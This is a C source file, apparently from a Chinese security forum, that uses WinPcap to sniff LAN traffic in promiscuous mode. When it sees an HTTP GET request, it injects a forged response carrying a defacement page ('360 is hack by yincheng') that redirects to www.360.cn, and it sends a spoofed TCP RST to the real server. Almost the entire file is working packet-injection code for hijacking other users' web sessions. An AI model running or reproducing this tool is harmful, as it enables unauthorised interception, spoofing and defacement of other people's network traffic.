#include "pcap.h"
#include <mbstring.h>
#include <stdio.h>
#include <windows.h>
#include <string>
#include "tcpip.h"
using namespace std;
struct pseudoheader /* TCP头文件 */
{
u_int32_t sip, dip; /* IP 地址 */
u_int8_t zero; /* 空白字节 */
u_int8_t protocol; /* 协议号 */
u_int16_t tcplen; /* TCP 长度 */
};
pcap_t * m_fp; //网卡指针,用于发
/* 块缓冲区禁止客户端向发送 */
u_int8_t m_pBlockBuffer[512];
u_int32_t m_cbBlockBuffer;
char szReURL[256];
/* 一个54字节的缓冲区需要发送TCP重置数据包 */
char reset_buf[54];
bool SendPacket(u_char *buf, int iSize);
/* 检查前4个字节,如果传入的缓冲区为“GET /” */
int CheckHttpState(u_int8_t* buffer,u_int32_t len);
void DecodeHTTP(u_int8_t *,
const u_int32_t,
Packet *);
void DecodeTCP(u_int8_t *,
const u_int32_t,
Packet *);
/* 解码IP包头和包对象举行 */
void DecodeIP(u_int8_t *,
const u_int32_t,
Packet *);
int FilterHttpRequest(Packet *);
/* 计算IP头的校验 */
unsigned short CalcIPSum(unsigned short *, int);
/* 为TCP报头的校验和计算*/
unsigned short CalcTCPSum(unsigned short *h, unsigned short * d, int dlen);
int FilterHttpRequest(Packet *p);
/* 头的校验和计算 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
int main()
{
ZeroMemory(m_pBlockBuffer, 512);
string strBufferHdr;
string strBufferHTML;
string strhttp("http://");
char szRedirect[512]={0};
lstrcpy(szReURL, "http://www.360.cn");
char*pTemp = strstr(szReURL,"http://");
if(!pTemp){
sprintf(szRedirect, "<meta http-equiv=\"Refresh\" content=1;url=%s%s>", "http://",szReURL);
}
else
{
sprintf(szRedirect, "<meta http-equiv=\"Refresh\" content=1;url=%s>",szReURL);
}
strBufferHTML = "<html>";
strBufferHTML += "<head>";
strBufferHTML += "<title>360 is hack by yincheng</title>";
strBufferHTML += string(szRedirect);
strBufferHTML += "</head><body><TABLE height=\"100%\" width=\"100%\">";
strBufferHTML += "<TR>";
strBufferHTML += "<TD align=\"center\"><h1>360 is hack by yincheng</h1>";
strBufferHTML += "</TD>";
strBufferHTML += "</TR>";
strBufferHTML += "</TABLE>";
strBufferHTML += "</body>";
strBufferHTML += "</html>\n\n\n";
char len[10];
_itoa (strBufferHTML.size(), len, 10);
strBufferHdr += "HTTP/1.1 200 OK\r\n";
strBufferHdr += "Content-Type: Text/HTML\r\n";
strBufferHdr += "Connection: close\r\n";
strBufferHdr += "Content-Lenght: ";
strBufferHdr += len;
strBufferHdr += "\r\n\r\n";
strBufferHdr += strBufferHTML;
// 第54个字节保留的TCP和IP报头的位置
_mbscpy (m_pBlockBuffer + 54,(u_int8_t*)strBufferHdr.c_str());
m_cbBlockBuffer = strBufferHdr.size(); // 仅HTTP负载的大小
m_fp = NULL;
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
pcap_t *adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
/* 检索设备清单 */
if(pcap_findalldevs(&alldevs, errbuf) == -1)
{
exit(1);
}
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
}
if(i==0)
{
printf("\n确保WinPcap 已经安装.\n");
return -1;
}
printf("输入序列号(1-%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\n设备接口.\n");
/* 释放设备列表*/
pcap_freealldevs(alldevs);
return -1;
}
/* 到选定的适配器 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* 打开网卡适配器 */
if ((m_fp= pcap_open_live(d->name, // 设备名称
1, // 设备捕获端口.
// 65536全包.
1, // 混杂模式(非零手段混杂)
1000, // 超时
errbuf // 错误
)) == NULL)
{
/* 释放设备列表 */
pcap_freealldevs(alldevs);
return -1;
}
if ((adhandle= pcap_open_live(d->name,
65536,
1,
5,
errbuf
)) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
printf("\nlistening on %s...\n", d->description);
pcap_freealldevs(alldevs);
/* 启动捕获 */
pcap_loop(adhandle, 0, packet_handler, NULL);
if(adhandle)
pcap_close(adhandle);
if(m_fp)
pcap_close(m_fp);
return 0;
}
/* libpcap的每个传入的数据包调用的回调函数 */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
int res = 0;
Packet* p = NULL;
p = (Packet*)malloc(sizeof(Packet));
ZeroMemory(p, sizeof (Packet));
res = header->len;
DecodeIP((u_int8_t*)pkt_data, res, p);
if (p->banned == 1){
printf("get http packet .\n");
FilterHttpRequest(p);
}
/////////加入http的判断//////////////////////////////////////////////////////////////////////////
p->eh = (EtherHdr*)pkt_data;
if( p->eh->ether_type == 0x0008) //上面是IP层
{
// lay the IP struct over the raw data
p->iph = (IPHdr *) (pkt_data+ ETHERNET_HEADER_LEN);
if (p->iph->ip_proto == 6)
{
p->tcph = (TCPHdr *) (pkt_data + ETHERNET_HEADER_LEN+IP_HEADER_LEN);
/
if (p->tcph->th_flags & TH_ACK
&& p->tcph->th_flags & TH_PSH)
{
if(p->tcph->th_dport != htons(80) &&
// If target service is not HTTP
p->tcph->th_dport != htons(8080) )
return ;
p->data = (byte*)(pkt_data + ETHERNET_HEADER_LEN +
IP_HEADER_LEN + TCP_HEADER_LEN);
if( p->data[0] == 'G' &&
p->data[1] == 'E' &&
p->data[2] == 'T' &&
p->data[3] == ' ' &&
p->data[4] == '/'
)
{
printf("get dns packet .\n");
FilterHttpRequest(p);
}
}
}
}
if(p)
free(p);
p = NULL;
////////http的完/////////////////////////////////////////////////////////////////////////////////
}
int FilterHttpRequest(Packet *p)
{
DWORD err = 0;
pseudoheader ph; /* 伪头声明*/
//////////////////////////发送块页为CLIENT//////////////////////////
// Use the first 54 bytes of m_pBlockBuffer for future TCP control packet transmission.
ZeroMemory(m_pBlockBuffer, 54); // only zero first 54 bytes
EtherHdr* respEh = ((EtherHdr*)(m_pBlockBuffer ));
IPHdr* respIpHdr = ((IPHdr*)(m_pBlockBuffer + sizeof(EtherHdr)));
TCPHdr* respTcpHdr = ((TCPHdr*)(m_pBlockBuffer +sizeof(EtherHdr)+ sizeof(IPHdr)));
memcpy(respEh->ether_dst , p->eh->ether_src, 6);
memcpy(respEh->ether_src , p->eh->ether_dst,6);
respEh->ether_type = p->eh->ether_type;
respIpHdr->ip_csum = 0;
respIpHdr->ip_dst = p->iph->ip_src;
respIpHdr->ip_src = p->iph->ip_dst;
respIpHdr->ip_len = htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof (IPHdr) + sizeof (TCPHdr) + m_cbBlockBuffer));
SET_IP_VER(respIpHdr, 0x4);
SET_IP_HLEN(respIpHdr, 0x5);
respIpHdr->ip_tos = p->iph->ip_tos;
respIpHdr->ip_ttl = p->iph->ip_ttl;
respIpHdr->ip_id = htons(2);
respIpHdr->ip_off = 0;
respIpHdr->ip_proto = 0x06;
respIpHdr->ip_csum =
CalcIPSum((u_short*) respIpHdr, IP_HLEN(respIpHdr) << 2);
respTcpHdr->th_ack = htonl (ntohl (p->tcph->th_seq) + p->dsize);
respTcpHdr->th_seq = p->tcph->th_ack;
respTcpHdr->th_sport = p->tcph->th_dport;
respTcpHdr->th_dport = p->tcph->th_sport;
respTcpHdr->th_flags = TH_FIN|TH_ACK;
SET_TCP_OFFSET(respTcpHdr, 0x5);
SET_TCP_X2(respTcpHdr, 0x0);
respTcpHdr->th_win = p->tcph->th_win;
respTcpHdr->th_urp = 0;
ph.sip = (u_int32_t)(p->iph->ip_dst.s_addr);
ph.dip = (u_int32_t)(p->iph->ip_src.s_addr);
ph.zero = 0;
ph.protocol = 0x06;
ph.tcplen = htons((u_short)(sizeof (TCPHdr) + m_cbBlockBuffer));
respTcpHdr->th_sum = 0;
respTcpHdr->th_sum =
CalcTCPSum((u_int16_t *)&ph,
(u_int16_t *)respTcpHdr,
sizeof(TCPHdr) + m_cbBlockBuffer);
if(!SendPacket(m_pBlockBuffer, sizeof(EtherHdr)+sizeof(IPHdr) + sizeof(TCPHdr) + m_cbBlockBuffer)){
printf("fail to SendPacket");
return 0;
}
///////////////////////发送TCP复位到服务器////////////////////////////
ZeroMemory(reset_buf, 54);
EtherHdr* rstpEh = ((EtherHdr*)(reset_buf));
IPHdr* rstIpHdr = ((IPHdr*)(reset_buf + sizeof(EtherHdr)));
TCPHdr* rstTcpHdr = ((TCPHdr*)(reset_buf + sizeof(EtherHdr)+sizeof (IPHdr) ));
memcpy(rstpEh->ether_dst , p->eh->ether_dst, 6);
memcpy(rstpEh->ether_src , p->eh->ether_src,6);
rstpEh->ether_type = p->eh->ether_type;
rstIpHdr->ip_dst = p->iph->ip_dst;
rstIpHdr->ip_id = htons(2);
rstIpHdr->ip_len = htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof (IPHdr) + sizeof (TCPHdr)));
rstIpHdr->ip_off = 0;
rstIpHdr->ip_proto = 0x06;
rstIpHdr->ip_src = p->iph->ip_src;
rstIpHdr->ip_tos = p->iph->ip_tos;
rstIpHdr->ip_ttl = p->iph->ip_ttl;
SET_IP_VER(rstIpHdr, 0x4);
SET_IP_HLEN(rstIpHdr, 0x5);
rstIpHdr->ip_csum =
CalcIPSum((u_short*) rstIpHdr, IP_HLEN(rstIpHdr) << 2);
rstTcpHdr->th_ack = p->tcph->th_ack;
rstTcpHdr->th_seq = p->tcph->th_seq;
rstTcpHdr->th_sport = p->tcph->th_sport;
rstTcpHdr->th_dport = p->tcph->th_dport;
rstTcpHdr->th_flags = TH_RST;//TH_RST;
SET_TCP_OFFSET(rstTcpHdr, 0x5);
SET_TCP_X2(rstTcpHdr, 0x0);
rstTcpHdr->th_win = p->tcph->th_win;
rstTcpHdr->th_urp = 0;
ph.sip = (u_int32_t)(p->iph->ip_src.s_addr);
ph.dip = (u_int32_t)(p->iph->ip_dst.s_addr);
ph.zero = 0;
ph.protocol = 0x06;
ph.tcplen = htons((u_short)sizeof (TCPHdr));
rstTcpHdr->th_sum =
CalcTCPSum((u_int16_t *)&ph,
(u_int16_t *)rstTcpHdr,
sizeof(struct TCPHdr));
if(!SendPacket((u_char*)reset_buf, sizeof(EtherHdr)+sizeof(IPHdr) + sizeof(TCPHdr))){
printf("fail to SendPacket");
return 0;
}
return 1;
}
unsigned short CalcIPSum(unsigned short * w, int size)
{
/*
/*cksum = w[0];
cksum += w[1];
cksum += w[2];
cksum += w[3];
cksum += w[4];
cksum += w[5];
cksum += w[6];
cksum += w[7];
cksum += w[8];
cksum += w[9];
blen -= 20;
w += 10;
while( blen ) /* IP-hdr must be an integral number of 4 byte words */
/* {
cksum += w[0];
cksum += w[1];
w += 2;
blen -= 4;
}
cksum = (cksum >> 16) + (cksum & 0x0000ffff);
cksum += (cksum >> 16);
return (unsigned short) (~cksum);*/
unsigned long cksum=0;
while (size > 1)
{
cksum += *w++;
size -= sizeof(USHORT);
}
if (size) //如果字节数是不是2的倍数才会执行
{
cksum += *(UCHAR*)w;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
unsigned short CalcTCPSum(unsigned short *h, unsigned short * d, int dlen)
{
unsigned int cksum;
unsigned short answer=0;
/* PseudoHeader必须有12个字节 */
cksum = h[0];
cksum += h[1];
cksum += h[2];
cksum += h[3];
cksum += h[4];
cksum += h[5];
/* TCP HDR必须有20 HDR字节 */
cksum += d[0];
cksum += d[1];
cksum += d[2];
cksum += d[3];
cksum += d[4];
cksum += d[5];
cksum += d[6];
cksum += d[7];
cksum += d[8];
cksum += d[9];
dlen -= 20; /* bytes */
d += 10; /* short's */
while(dlen >=32)
{
cksum += d[0];
cksum += d[1];
cksum += d[2];
cksum += d[3];
cksum += d[4];
cksum += d[5];
cksum += d[6];
cksum += d[7];
cksum += d[8];
cksum += d[9];
cksum += d[10];
cksum += d[11];
cksum += d[12];
cksum += d[13];
cksum += d[14];
cksum += d[15];
d += 16;
dlen -= 32;
}
while(dlen >=8)
{
cksum += d[0];
cksum += d[1];
cksum += d[2];
cksum += d[3];
d += 4;
dlen -= 8;
}
while(dlen > 1)
{
cksum += *d++;
dlen -= 2;
}
if( dlen == 1 )
{
*(unsigned char*)(&answer) = (*(unsigned char*)d);
cksum += answer;
}
cksum = (cksum >> 16) + (cksum & 0x0000ffff);
cksum += (cksum >> 16);
return (unsigned short)(~cksum);
}
bool SendPacket(u_char *buf, int iSize)
{
if(!m_fp)
return false;
int iResult;
try
{
iResult = pcap_sendpacket(m_fp,buf,iSize);
}
catch (...)
{
}
if (iResult == 0)
return true;
return false;
}
void DecodeIP(u_int8_t * pkt, const u_int32_t len, Packet * p)
{
u_int32_t ip_len;
u_int32_t hlen; /* ip 头长度 */
/* 定了原始数据的以太网结构 */
p->eh = (EtherHdr*)pkt;
/* 在原始数据的IP结构 */
p->iph = (IPHdr *) (pkt+ ETHERNET_HEADER_LEN);
/* 做点验证 */
if(len < IP_HEADER_LEN)
{
p->iph = NULL;
return;
}
if(IP_VER(p->iph) != 4)
{
p->iph = NULL;
return;
}
/* 设置IP数据报长度*/
ip_len = ntohs(p->iph->ip_len);
/* 设置IP头长度 */
hlen = IP_HLEN(p->iph) << 2;
/* 头部长度的完整性检查 */
if(hlen < IP_HEADER_LEN)
{
p->iph = NULL;
return;
}
if (ip_len > len)
{
ip_len = len;
}
if(ip_len < hlen)
{
p->iph = NULL;
return;
}
/* 测试IP选项 */
p->ip_options_len = hlen - IP_HEADER_LEN;
if(p->ip_options_len > 0)
{
p->ip_options_data = pkt + IP_HEADER_LEN;
}
/* 设置其余的数据包长度 */
ip_len -= hlen;
/* 检查数据包碎片*/
p->frag_offset = ntohs(p->iph->ip_off);
/*
*得到保留,更值
*片段,并没有做片段的标志
*/
p->rf = (u_int8_t)((p->frag_offset & 0x8000) >> 15);
p->df = (u_int8_t)((p->frag_offset & 0x4000) >> 14);
p->mf = (u_int8_t)((p->frag_offset & 0x2000) >> 13);
/* 屏蔽掉在片段偏移字段的高位 */
p->frag_offset &= 0x1FFF;
if(p->frag_offset || p->mf)
{
/* 设置该数据包片段旗标 */
p->frag_flag = 1;
}
/* 如果这个包是不是一个片段 */
if(!(p->frag_flag))
{
/* 解码TCP头 */
if (p->iph->ip_proto == IPPROTO_TCP)
{
DecodeTCP(pkt +ETHERNET_HEADER_LEN+ hlen, ip_len, p);
}
}
else
{
/* 设置有效载荷指针和有效载荷的大小*/
p->data = pkt +ETHERNET_HEADER_LEN+ hlen;
p->dsize = (u_short) ip_len;
}
return;
}
void DecodeTCP(u_int8_t * pkt, const u_int32_t len, Packet * p)
{
u_int32_t hlen; /* TCP 头长度*/
if(len < 20)
{
p->tcph = NULL;
return;
}
/* 延迟TCP */
p->tcph = (TCPHdr *) pkt;
/* 重新设定值 */
hlen = TCP_OFFSET(p->tcph) << 2;
if(hlen < 20)
{
p->tcph = NULL;
return;
}
if(hlen > len)
{
p->tcph = NULL;
return;
}
/* 重新编码 */
p->tcp_options_len = hlen - 20;
if(p->tcp_options_len > 0)
{
p->tcp_options_data = pkt + 20;
}
/* 设置数据指针字节 */
p->data = (u_int8_t *) (pkt+ hlen);
if(hlen < len)
{
p->dsize = (u_short)(len - hlen);
}
else
{
p->dsize = 0;
}
if (p->tcph->th_flags & TH_ACK
/*&& p->tcph->th_flags & TH_PSH*/)
{
if(p->tcph->th_dport != htons(80) &&
p->tcph->th_dport != htons(8080) )
return ;
DecodeHTTP(p->data, p->dsize, p);
}
return;
}
void DecodeHTTP(u_int8_t * pkt, const u_int32_t len, Packet * p)
{
if (CheckHttpState(pkt, len) == CLIENT_REQUEST)
{
string strUrl("Host: ");
string strOriginURL = string(szReURL);
int nindex = strOriginURL.find("http://");
if(nindex ==-1){
strUrl+=strOriginURL;
}else
{
string str("");
str = strOriginURL.substr(7,strOriginURL.size()-7);
strUrl+=str;
}
char* pTemp = strstr((char*)pkt, (char*)strUrl.c_str());
if(pTemp)
p->banned = 0; //not filter it
else
p->banned = 1; // packet caught, Filter it
}
}
int CheckHttpState(u_int8_t* buffer,u_int32_t len)
{
if(!len)
return NOT_HTTP;
if( buffer[0] == 'G' &&
buffer[1] == 'E' &&
buffer[2] == 'T' &&
buffer[3] == ' ' &&
buffer[4] == '/' )
return CLIENT_REQUEST;
if( buffer[0] == 'H' &&
buffer[1] == 'T' &&
buffer[2] == 'T' &&
buffer[3] == 'P')
return SERVER_RESPONSE;
return NOT_HTTP;
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!